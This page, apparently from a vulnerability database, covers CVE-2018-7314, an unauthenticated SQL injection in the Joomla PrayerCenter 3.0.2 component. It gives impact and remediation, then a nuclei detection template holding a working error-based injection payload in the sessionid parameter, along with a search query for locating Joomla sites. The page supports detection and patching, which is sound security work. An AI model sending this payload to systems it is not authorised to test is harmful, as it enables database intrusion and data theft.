HexBrain

Browse / CVEs / CVE-2018-7314

CVE-2018-7314· mlwebtechnologies / prayercenter· CWE-89

Joomla! Component PrayerCenter 3.0.2 - SQL Injection

criticalseverity
9.8CVSS score
57.8%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

SQL Injection exists in the PrayerCenter 3.0.2 component for Joomla! via the sessionid parameter, a different vulnerability than CVE-2008-6429.

Impact

Unauthenticated attackers can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Joomla installation.

Fix

Remove the vulnerable PrayerCenter component or upgrade to a patched version.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_prayercenter&task=confirm&id=1&sessionid=1' AND EXTRACTVALUE(22,CONCAT(0x7e,md5({{num}})))-- X
Positive when: contains "{{md5(num)}}"

Run it with nuclei: nuclei -id CVE-2018-7314 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-7314

info:
  name: Joomla! Component PrayerCenter 3.0.2 - SQL Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    SQL Injection exists in the PrayerCenter 3.0.2 component for Joomla! via the sessionid parameter, a different vulnerability than CVE-2008-6429.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Joomla installation.
  remediation: |
    Remove the vulnerable PrayerCenter component or upgrade to a patched version.
  reference:
    - https://www.exploit-db.com/exploits/44160
    - https://github.com/jweny/pocassistdb
    - https://github.com/0ps/pocassistdb
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-7314
    cwe-id: CWE-89
    epss-score: 0.57752
    epss-percentile: 0.99092
    cpe: cpe:2.3:a:mlwebtechnologies:prayercenter:3.0.2:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: mlwebtechnologies
    product: prayercenter
    framework: joomla\!
    fofa-query:
      - app="Joomla!-网站安装"
      - app="joomla!-网站安装"
  tags: cve,cve2018,joomla,sqli,mlwebtechnologies,vkev,vuln
variables:
  num: "{{rand_int(800000000, 1000000000)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_prayercenter&task=confirm&id=1&sessionid=1' AND EXTRACTVALUE(22,CONCAT(0x7e,md5({{num}})))-- X"

    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"

References

Use this check only on systems you are authorised to test. Where the data comes from